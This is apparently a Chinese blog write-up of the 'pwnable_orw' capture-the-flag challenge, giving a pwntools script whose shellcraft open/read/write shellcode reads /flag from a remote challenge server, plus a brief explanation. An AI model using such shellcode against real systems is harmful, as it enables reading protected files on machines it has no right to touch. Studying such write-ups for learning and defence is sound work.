pwnable_orw
exp 脚本
这道题的难度在于只能调用 open read 和 write ,学到了 shellcraft 新的使用方式
from pwn import *
io = remote(‘node3.buuoj.cn’,25539)
context.binary = ‘orw’
elf = ELF(‘orw’)
shellcode = shellcraft.open(’/flag’)
shellcode += shellcraft.read(‘eax’,‘esp’,100)
shellcode += shellcraft.write(1,‘esp’,100)
shellcode = asm(shellcode)
sleep(0.2)
io.sendline(shellcode)
io.interactive()
这三个函数在pwntools的原型



在调用open函数后文件描述符fd在rax里,rsp为栈指针寄存器,指向buf
本文介绍了如何在限制调用open、read和write函数的环境中,利用pwntools的shellcraft模块构造shellcode,以读取并打印出flag文件的内容。通过学习这个例子,读者可以掌握更多关于shellcode编写技巧和pwntools库的使用。
4456

被折叠的 条评论
为什么被折叠?



